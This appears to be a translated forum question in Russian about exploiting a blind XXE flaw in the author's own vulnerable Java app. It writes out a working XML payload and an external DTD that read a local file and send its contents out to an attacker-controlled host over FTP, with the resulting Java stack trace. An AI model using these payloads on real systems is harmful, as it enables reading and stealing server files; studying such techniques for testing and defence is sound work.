Я создал приложение Java, уязвимое для (слепого) XXE.
Я могу использовать уязвимость и получить файл, содержащий одну строку, используя следующий подход:
1) Перехватите запрос XML и измените его следующим образом:
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
2) На 192.168.27.152 подайте следующую порцию evil_oob.dtd на порт 80:
<!ENTITY % resource SYSTEM "file:///C:/temp/test.txt">
<!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM 'ftp://192.168.27.152:2121/%resource;'>">
3) Запуститемодифицированный FTP-сервер ( Python ) на компьютере злоумышленника с портом 2121.
Как я объяснил ранее, все работает нормально, когда test.txt содержит одну строку. Однако, если test.txt содержит несколько строк (и, следовательно, возврат каретки), URL-адрес ftp недействителен, и я получаю следующую ошибку:
java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP
command at
sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
<... snip ...>
at java.lang.Thread.run(Thread.java:748) Caused by:
sun.net.ftp.FtpProtocolException: Illegal FTP command at
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533) at
sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752) at
sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293) at
sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
... 114 more Caused by: java.lang.IllegalArgumentException: **Illegal
carriage return** at
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)
Я также пытался заменить FTP-сервер другимhttp-сервер работает на другом порту, но я, конечно, получаю похожую ошибку, поскольку URL-адрес также недействителен в этом случае.
Мне интересно, возможно ли вообще получить файл, содержащий несколько строк? через слепой XXE? Я знаю, что с PHP вы иногда можете использовать фильтры PHP для кодирования файла base64, но это не относится к Java.
Я прочитал десятки сообщений, но не смог найти способ достичь своей цели.